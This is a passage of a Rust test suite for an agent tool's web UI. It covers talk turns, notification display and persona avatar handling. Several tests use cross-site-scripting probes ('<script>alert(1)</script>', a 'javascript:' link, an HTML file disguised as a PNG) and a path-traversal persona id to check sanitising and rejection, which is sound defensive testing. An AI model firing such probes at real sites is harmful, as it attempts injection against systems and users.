13944 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13945 assert_eq!(roster, ["mock", "second"]);
13946
13947 let mut closed = talks.get(&id).expect("reload");
13948 talk::close(&mut closed, &talks).expect("close");
13949 let refused = call("mock").await.expect_err("closed talk");
13950 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13951 assert!(
13952 refused.message.contains("takes no more turns"),
13953 "{}",
13954 refused.message
13955 );
13956 }
13957
13958 #[tokio::test]
13959 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13960 let tmp = TempDir::new().expect("tempdir");
13961 let repo = tmp.path().join("repo");
13962 std::fs::create_dir_all(&repo).expect("repo dir");
13963 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13964 let home = TempDir::new().expect("temp home");
13965 let talks = Talks::at(home.path().join("talks"));
13966 let ui = Arc::new(
13967 Ui::new(
13968 Queue::at(home.path().join("queue")),
13969 Questions::at(home.path().join("questions")),
13970 talks.clone(),
13971 home.path().join("runs"),
13972 home.path().to_path_buf(),
13973 repo.clone(),
13974 )
13975 .with_worktrees_root(home.path().join("wt")),
13976 );
13977 let cfg = config_for(&repo).await.expect("discover config");
13978 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13979 let id = talk.id.clone();
13980 let call = |n: u8| {
13981 talk_implementers(
13982 State(Arc::clone(&ui)),
13983 Path(id.clone()),
13984 Json(TalkImplementers { implementers: n }),
13985 )
13986 };
13987
13988 for bad in [0u8, 4] {
13989 let e = call(bad).await.expect_err("out of range");
13990 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13991 }
13992 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13993
13994 {
13995 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13998 let busy = call(2).await.expect_err("busy talk");
13999 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14000 assert!(
14001 busy.message.contains("a talk turn is running"),
14002 "{}",
14003 busy.message
14004 );
14005 drop(guard);
14006 }
14007
14008 let Json(view) = call(3).await.expect("switch");
14009 assert_eq!(view.talk.implementers, 3);
14010 assert!(talks.get(&id).expect("reload").implementers_dirty);
14011 assert!(!view.thinking);
14012 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14013 for n in [1, 2, 3] {
14014 let Json(view) = call(n).await.expect("immediate consecutive change");
14015 assert_eq!(view.talk.implementers, n);
14016 assert!(!view.thinking);
14017 assert!(!ui.is_thinking(&id));
14018 }
14019
14020 let mut closed = talks.get(&id).expect("reload");
14021 talk::close(&mut closed, &talks).expect("close");
14022 let e = call(2).await.expect_err("closed talk");
14023 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14024 assert!(e.message.contains("takes no more turns"), "{}", e.message);
14025 }
14026
14027 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14029 let tmp = TempDir::new().expect("tempdir");
14030 let repo = tmp.path().join("repo");
14031 std::fs::create_dir_all(&repo).expect("repo dir");
14032 std::fs::write(
14033 repo.join("magi.toml"),
14034 format!("{MOCK_AGENT_TOML}\n{extra}"),
14035 )
14036 .expect("write magi.toml");
14037 let home = TempDir::new().expect("temp home");
14038 let talks = Talks::at(home.path().join("talks"));
14039 let ui = Arc::new(
14040 Ui::new(
14041 Queue::at(home.path().join("queue")),
14042 Questions::at(home.path().join("questions")),
14043 talks.clone(),
14044 home.path().join("runs"),
14045 home.path().to_path_buf(),
14046 repo.clone(),
14047 )
14048 .with_worktrees_root(home.path().join("wt")),
14049 );
14050 let cfg = config_for(&repo).await.expect("discover config");
14051 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14052 (tmp, home, ui, talk.id, repo)
14053 }
14054
14055 #[tokio::test]
14056 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14057 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14058 let mut conversation = ui.talks.get(&id).unwrap();
14059 talk::record(
14060 &mut conversation,
14061 &ui.talks,
14062 "# Update on a task you filed\noperator words",
14063 vec![],
14064 )
14065 .unwrap();
14066 conversation.turns[0].sender = None;
14068 conversation.turns[0].messages.clear();
14069 ui.talks.put(&mut conversation).unwrap();
14070 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14071 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14072 talk::drain(&mut conversation, &ui.talks).unwrap();
14073 talk::record_reply(
14074 &mut conversation,
14075 &ui.talks,
14076 "about that report",
14077 vec![],
14078 Some(talk::ReplyTarget {
14079 turn: 1,
14080 message: 1,
14081 }),
14082 )
14083 .unwrap();
14084 conversation.turns[2].messages[0]
14085 .reply
14086 .as_mut()
14087 .unwrap()
14088 .sender = None;
14089 conversation.turns.push(talk::Turn {
14090 sender: Some(talk::Sender::Persona),
14091 who: talk::Who::Agent,
14092 body: "magi: actual persona words".into(),
14093 at: Timestamp::now(),
14094 attachments: vec![],
14095 usage: None,
14096 breaks: None,
14097 messages: vec![],
14098 posted_by: None,
14099 });
14100 ui.talks.put(&mut conversation).unwrap();
14101 let view = TalkView::with_config(
14102 ui.talks.get(&id).unwrap(),
14103 false,
14104 None,
14105 &ui.home,
14106 &ui.references,
14107 );
14108 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14109 assert_eq!(
14110 view.talk.turns[1].messages[0].sender,
14111 Some(talk::Sender::Operator)
14112 );
14113 assert_eq!(
14114 view.talk.turns[1].messages[1].sender,
14115 Some(talk::Sender::Magi)
14116 );
14117 assert_eq!(
14118 view.talk.turns[2].messages[0]
14119 .reply
14120 .as_ref()
14121 .unwrap()
14122 .sender,
14123 Some(talk::Sender::Magi)
14124 );
14125 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14126 assert_eq!(view.turn_messages_md[0].len(), 1);
14127 assert!(view.turn_messages_md[0][0].is_none());
14128 assert!(view.turn_messages_md[1][0].is_none());
14129 assert!(view.turn_messages_md[1][1].is_some());
14130 }
14131
14132 #[tokio::test]
14133 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14134 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14135 let mut conversation = ui.talks.get(&id).unwrap();
14136 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14137 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14138 talk::queue_notice(
14139 &mut conversation,
14140 &ui.talks,
14141 &body,
14142 "watch:123",
14143 &|_| false,
14144 None,
14145 display.clone(),
14146 )
14147 .unwrap();
14148 assert!(
14149 !talk::queue_notice(
14150 &mut conversation,
14151 &ui.talks,
14152 &body,
14153 "watch:123",
14154 &|_| false,
14155 None,
14156 display.clone()
14157 )
14158 .unwrap()
14159 );
14160 let saved = ui.talks.get(&id).unwrap();
14161 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14162 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14163 assert!(
14164 view.talk.turns[0].messages[0].display.is_none(),
14165 "operator copy stays literal"
14166 );
14167 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14168 assert!(view.turn_messages_md[0][0].is_none());
14169 let queued_md = view.pending_messages_md[0].clone();
14170 assert_eq!(
14171 queued_md,
14172 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14173 );
14174 talk::drain(&mut conversation, &ui.talks).unwrap();
14175 talk::record_reply(
14176 &mut conversation,
14177 &ui.talks,
14178 "Explain",
14179 vec![],
14180 Some(talk::ReplyTarget {
14181 turn: 1,
14182 message: 0,
14183 }),
14184 )
14185 .unwrap();
14186 let mut saved = ui.talks.get(&id).unwrap();
14187 assert_eq!(saved.turns[1].messages[0].body, body);
14188 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14189 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14190 assert!(!reply.excerpt.contains("automatic report"));
14191 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
14194 let view = TalkView::with_config(
14195 ui.talks.get(&id).unwrap(),
14196 false,
14197 None,
14198 &ui.home,
14199 &ui.references,
14200 );
14201 assert_eq!(view.turn_messages_md[1][0], queued_md);
14202 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14203 assert!(
14204 !view.talk.turns[2].messages[0]
14205 .reply
14206 .as_ref()
14207 .unwrap()
14208 .excerpt
14209 .contains("automatic report")
14210 );
14211 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14212 }
14213
14214 #[tokio::test]
14215 async fn consultation_display_hides_directives_in_queue_and_history() {
14216 for node in [
14217 "implement",
14218 crate::land::APPROVAL_NODE,
14219 crate::github_text::ASK_NODE,
14220 ] {
14221 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14222 let mut question = Question::new(
14223 "run-123".into(),
14224 node.into(),
14225 "seat-1".into(),
14226 "Which backend?".into(),
14227 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14228 vec!["SQLite".into(), "Redis".into()],
14229 );
14230 ui.questions.put(&mut question).unwrap();
14231 let body = crate::prompt::chat_consult(&question);
14232 let mut conversation = ui.talks.get(&id).unwrap();
14233 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14234 assert!(
14235 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14236 );
14237 conversation = ui.talks.get(&id).unwrap();
14238 assert_eq!(conversation.pending_messages[0].body, body);
14239 assert!(body.contains("magi answer"));
14240 let mut legacy_pending = conversation.clone();
14241 legacy_pending.pending_messages[0].display = None;
14242 let legacy_view =
14243 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14244 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14245 assert!(legacy_md.contains("Question consultation"));
14246 assert!(!legacy_md.contains("magi answer"));
14247 let view =
14248 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14249 assert!(
14250 view.turn_messages_md[0][0].is_none(),
14251 "operator copy stays literal"
14252 );
14253 let queued_md = view.pending_messages_md[0].clone().unwrap();
14254 let rendered = serde_json::to_string(&queued_md).unwrap();
14255 for visible in [
14256 "Which backend?",
14257 "Context",
14258 "storage",
14259 "SQLite",
14260 "Redis",
14261 "<script>literal</script>",
14262 ] {
14263 assert!(rendered.contains(visible), "missing {visible}");
14264 }
14265 for directive in [
14266 "What to do",
14267 "magi answer",
14268 "Never answer it yourself",
14269 "Do not edit the repository",
14270 ] {
14271 assert!(!rendered.contains(directive), "exposed {directive}");
14272 }
14273 assert_eq!(
14274 view.talk.pending_messages[0].display,
14275 Some(crate::prompt::chat_consult_display(&question))
14276 );
14277 talk::drain(&mut conversation, &ui.talks).unwrap();
14278 let view =
14279 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14280 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14281 assert_eq!(conversation.turns[1].messages[0].body, body);
14282
14283 conversation.turns[1].messages[0].display = None;
14286 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14287 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14288 assert!(legacy.contains("Question consultation"));
14289 assert!(!legacy.contains("magi answer"));
14290 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14291 }
14292 }
14293
14294 #[test]
14295 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14296 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14297 let (body, mut display) =
14298 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14299 display.facts = facts.into();
14300 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14301 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14302 let json = serde_json::to_string(&nodes).unwrap();
14303 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14304 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14305 }
14306 assert!(json.contains("<script>alert(1)</script>"));
14307 assert!(!json.contains("javascript:"));
14308 assert!(!json.contains("Tell the operator"));
14309 assert!(!json.contains("untrusted"));
14310 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14311 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14312 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14313 assert_eq!(
14314 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14315 md::to_nodes("# Status", &md::ImageBase::None),
14316 );
14317 }
14318
14319 #[tokio::test]
14320 async fn notification_display_recovers_exact_legacy_completion_references() {
14321 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14322 let mut conversation = ui.talks.get(&id).unwrap();
14323 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14324 id: "task-123",
14325 title: "Change",
14326 status: "done",
14327 reason: None,
14328 run: Some("run-123"),
14329 pr: None,
14330 summary: Some("Merge state unknown"),
14331 });
14332 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14333 conversation.turns[0].sender = None;
14334 conversation.turns[0].messages.clear();
14335 conversation.turns[0].breaks = None;
14336 conversation.pending = body.clone();
14337 conversation
14338 .completion_notices
14339 .push(crate::chat_notify::CompletionReference {
14340 task: "task-123".into(),
14341 run: Some("run-123".into()),
14342 notice: body.clone(),
14343 });
14344 ui.talks.put(&mut conversation).unwrap();
14345 let view = TalkView::with_config(
14346 ui.talks.get(&id).unwrap(),
14347 false,
14348 None,
14349 &ui.home,
14350 &ui.references,
14351 );
14352 assert_eq!(
14353 view.talk.turns[0].messages[0].display,
14354 Some(display.clone())
14355 );
14356 assert_eq!(view.talk.pending_messages[0].display, Some(display));
14357 assert_eq!(
14358 view.talk.turns[0].messages[0].sender,
14359 Some(talk::Sender::Magi)
14360 );
14361 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14362 conversation.completion_notices[0]
14363 .notice
14364 .push_str("different");
14365 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14366 assert!(view.talk.turns[0].messages.is_empty());
14367 assert!(view.talk.pending_messages.is_empty());
14368 }
14369
14370 #[tokio::test]
14371 async fn avatar_settings_report_states_and_inherit_after_corruption() {
14372 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14373 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14374 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14375 ))
14376 .await;
14377 let path = avatar_setting_path(home.path(), Some("rei"));
14378 let orphan = avatar_setting_path(home.path(), Some("removed"));
14379 save_icon_file(&orphan, icon).unwrap();
14380 for (saved, expected) in [
14381 (icon, "custom"),
14382 ("builtin", "builtin"),
14383 ("data:image/png;base64,!!!!", "inherit"),
14384 ("data:image/png;base64,PGh0bWw+", "inherit"),
14385 ("/tmp/avatar.png", "inherit"),
14386 ] {
14387 atomic_icon_write(&path, saved).unwrap();
14388 let catalog =
14389 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14390 .await
14391 .unwrap()
14392 .0;
14393 let personas = catalog["personas"].as_array().unwrap();
14394 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14395 assert_eq!(rei["override_state"], expected);
14396 assert_eq!(rei["has_config_icon"], true);
14397 assert_eq!(rei["is_orphan"], false);
14398 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14399 assert_eq!(removed["override_state"], "custom");
14400 assert_eq!(removed["is_orphan"], true);
14401 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14402 assert_eq!(default["override_state"], "inherit");
14403 assert_eq!(default["has_config_icon"], false);
14404 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14405 assert_eq!(
14406 effective.as_deref(),
14407 Some(if expected == "builtin" { "" } else { icon })
14408 );
14409 }
14410 }
14411
14412 #[tokio::test]
14413 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14414 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14415 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14416 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14417 ))
14418 .await;
14419 let target = |id: Option<&str>| AvatarSettingsQuery {
14420 persona: id.map(str::to_owned),
14421 ..Default::default()
14422 };
14423 let original_config = config_for(&repo).await.unwrap();
14424 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14425 let original_prompt = persona::section_for(&original_persona, None);
14426 let before = talk_detail(State(ui.clone()), Path(id.clone()))
14427 .await
14428 .unwrap()
14429 .0;
14430 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14431 let _ = avatar_settings_put(
14432 State(ui.clone()),
14433 Query(target(persona)),
14434 Json(MagiIconUpload { icon: icon.into() }),
14435 )
14436 .await
14437 .unwrap();
14438 let path = avatar_setting_path(home.path(), persona);
14439 assert!(path.starts_with(home.path().join("avatars")));
14440 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14441 for bad in [
14442 "/tmp/image.png".to_owned(),
14443 "data:image/png;base64,!!!!".to_owned(),
14444 "data:image/png;base64,PGh0bWw+".to_owned(),
14445 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14446 format!(
14447 "data:image/png;base64,{}",
14448 "A".repeat(persona_icon::ICON_MAX_BYTES)
14449 ),
14450 ] {
14451 assert!(
14452 avatar_settings_put(
14453 State(ui.clone()),
14454 Query(target(persona)),
14455 Json(MagiIconUpload { icon: bad })
14456 )
14457 .await
14458 .is_err()
14459 );
14460 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14461 }
14462 }
14463 assert!(read_magi_icon(home.path()).is_none());
14464 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14465 let after = talk_detail(State(ui.clone()), Path(id.clone()))
14466 .await
14467 .unwrap()
14468 .0;
14469 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14470 assert_ne!(
14471 before
14472 .personas
14473 .iter()
14474 .find(|p| p.id == "magi")
14475 .unwrap()
14476 .avatar,
14477 after
14478 .personas
14479 .iter()
14480 .find(|p| p.id == "magi")
14481 .unwrap()
14482 .avatar
14483 );
14484 let restarted = Arc::new(Ui::new(
14485 Queue::at(home.path().join("queue")),
14486 Questions::at(home.path().join("questions")),
14487 Talks::at(home.path().join("talks")),
14488 home.path().join("runs"),
14489 home.path().to_owned(),
14490 repo,
14491 ));
14492 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14493 .await
14494 .unwrap()
14495 .0;
14496 assert!(
14497 catalog["personas"]
14498 .as_array()
14499 .unwrap()
14500 .iter()
14501 .any(|p| p["id"] == "../custom/日本語")
14502 );
14503 for expected in ["custom", "default", "rei"] {
14504 assert!(
14505 catalog["personas"]
14506 .as_array()
14507 .unwrap()
14508 .iter()
14509 .any(|p| p["id"] == expected)
14510 );
14511 }
14512 let response =
14513 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14514 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14515 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14516 .await
14517 .unwrap();
14518 assert_eq!(
14519 effective_persona_icon(home.path(), "rei", Some(icon)),
14520 Some(String::new())
14521 );
14522 let response = talk_avatar(
14523 State(restarted.clone()),
14524 Path(id.clone()),
14525 Query(AvatarQuery {
14526 persona: Some("rei".into()),
14527 ..Default::default()
14528 }),
14529 )
14530 .await
14531 .unwrap();
14532 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14533 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14534 .await
14535 .unwrap()
14536 .0;
14537 assert_ne!(
14538 after
14539 .personas
14540 .iter()
14541 .find(|p| p.id == "rei")
14542 .unwrap()
14543 .avatar,
14544 reset
14545 .personas
14546 .iter()
14547 .find(|p| p.id == "rei")
14548 .unwrap()
14549 .avatar
14550 );
14551 let mut inherit = target(Some("rei"));
14552 inherit.inherit = Some("1".into());
14553 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14554 .await
14555 .unwrap();
14556 assert_eq!(
14557 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14558 Some(icon)
14559 );
14560 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14561 .await
14562 .unwrap();
14563 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14564 assert_eq!(
14565 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14566 Some(icon)
14567 );
14568 let cfg = config_for(&ui.repo).await.unwrap();
14570 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14571 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14572 assert!(!original_prompt.contains("data:image"));
14573 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14574 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14575 assert!(!stored.contains("data:image"));
14576 let mut orphan = ui.talks.get(&id).unwrap();
14577 orphan.persona = "../custom/日本語".into();
14578 let view = TalkView::with_config(
14579 orphan,
14580 false,
14581 Some(&cfg),
14582 home.path(),
14583 &id_links::IndexCache::default(),
14584 );
14585 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14586 }
14587
14588 #[tokio::test]
14589 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14590 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14591 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14592 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14593 let _ = magi_icon_put(
14594 State(ui.clone()),
14595 Json(MagiIconUpload { icon: icon.into() }),
14596 )
14597 .await
14598 .unwrap();
14599 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14600 assert_ne!(original, changed);
14601 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14602 let response = magi_avatar(
14603 State(ui.clone()),
14604 Query(AvatarQuery {
14605 persona: None,
14606 builtin: None,
14607 }),
14608 )
14609 .await;
14610 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14611 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14612 assert_eq!(
14613 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14614 "nosniff"
14615 );
14616 for bad in [
14617 "data:image/png;base64,PGh0bWw+".to_owned(),
14618 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14619 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14620 ] {
14621 assert!(save_magi_icon(home.path(), &bad).is_err());
14622 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14623 }
14624 let restarted = Arc::new(Ui::new(
14626 Queue::at(home.path().join("queue")),
14627 Questions::at(home.path().join("questions")),
14628 Talks::at(home.path().join("talks")),
14629 home.path().join("runs"),
14630 home.path().to_path_buf(),
14631 repo,
14632 ));
14633 assert_eq!(
14634 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14635 changed
14636 );
14637 let view = TalkView::with_config(
14638 restarted.talks.get(&id).unwrap(),
14639 false,
14640 None,
14641 &restarted.home,
14642 &restarted.references,
14643 );
14644 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14645 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14646 let response = magi_avatar(
14647 State(ui.clone()),
14648 Query(AvatarQuery {
14649 persona: None,
14650 builtin: None,
14651 }),
14652 )
14653 .await;
14654 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14655 .await
14656 .unwrap();
14657 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14658 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14659 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14660 let _ = magi_icon_delete(State(ui)).await.unwrap();
14661 }
14662
14663 async fn avatar(
14665 ui: &Arc<Ui>,
14666 id: &str,
14667 persona: Option<&str>,
14668 builtin: bool,
14669 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14670 let res = talk_avatar(
14671 State(Arc::clone(ui)),
14672 Path(id.to_owned()),
14673 Query(AvatarQuery {
14674 persona: persona.map(str::to_owned),
14675 builtin: builtin.then(|| "1".to_owned()),
14676 }),
14677 )
14678 .await
14679 .expect("an avatar is never an error response");
14680 let h = res.headers();
14681 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14682 let nosniff = h
14683 .get(header::X_CONTENT_TYPE_OPTIONS)
14684 .is_some_and(|v| v == "nosniff");
14685 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14686 let status = res.status();
14687 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14688 .await
14689 .expect("body")
14690 .to_vec();
14691 (status, ct, nosniff, csp, body)
14692 }
14693
14694 fn tiny_png() -> Vec<u8> {
14695 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14696 b.extend_from_slice(&[0u8; 32]);
14697 b
14698 }
14699
14700 #[tokio::test]
14701 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14702 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14703 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14704 assert_eq!(res.status(), StatusCode::OK);
14705 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14706 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14707 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14708 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14709 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14710 .await
14711 .unwrap();
14712 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14713 assert_ne!(
14714 persona_icon::operator_svg(),
14715 persona_icon::builtin_svg("default")
14716 );
14717 }
14718
14719 #[tokio::test]
14720 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14721 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14722 for p in [
14723 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14724 ] {
14725 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14726 assert_eq!(status, StatusCode::OK, "{p}");
14727 assert_eq!(ct, "image/svg+xml", "{p}");
14728 assert!(nosniff && csp, "{p}");
14729 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14730 }
14731 let own = avatar(&ui, &id, None, false).await;
14733 let default = avatar(&ui, &id, Some("default"), false).await;
14734 assert_eq!(own.4, default.4);
14735 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14736 assert_eq!(unknown.1, "image/svg+xml");
14737 }
14738
14739 #[tokio::test]
14740 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14741 let dir = TempDir::new().expect("icons");
14742 let good = dir.path().join("good.png");
14743 std::fs::write(&good, tiny_png()).unwrap();
14744 let spoof = dir.path().join("spoof.png");
14745 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14746 let big = dir.path().join("big.png");
14747 let mut bytes = tiny_png();
14748 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14749 std::fs::write(&big, bytes).unwrap();
14750 let missing = dir.path().join("missing.png");
14751 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14752 let extra = format!(
14753 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14754 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14755 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14756 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14757 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14758 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14759 uri(&good),
14760 uri(&spoof),
14761 uri(&big),
14762 uri(&missing),
14763 );
14764 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14765
14766 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14767 assert_eq!(
14768 (status, ct.as_str(), nosniff),
14769 (StatusCode::OK, "image/png", true)
14770 );
14771 assert_eq!(body, tiny_png());
14772 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14773 assert_eq!(ct, "image/png", "data URI");
14774
14775 for p in ["misato", "asuka", "shinji", "magi"] {
14776 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14777 assert_eq!(
14778 (status, ct.as_str(), csp),
14779 (StatusCode::OK, "image/svg+xml", true),
14780 "{p}"
14781 );
14782 assert!(body.starts_with(b"<svg"), "{p}");
14783 }
14784 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14786 assert_eq!(ct, "image/svg+xml");
14787 }
14788
14789 #[tokio::test]
14790 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14791 let oversized = format!(
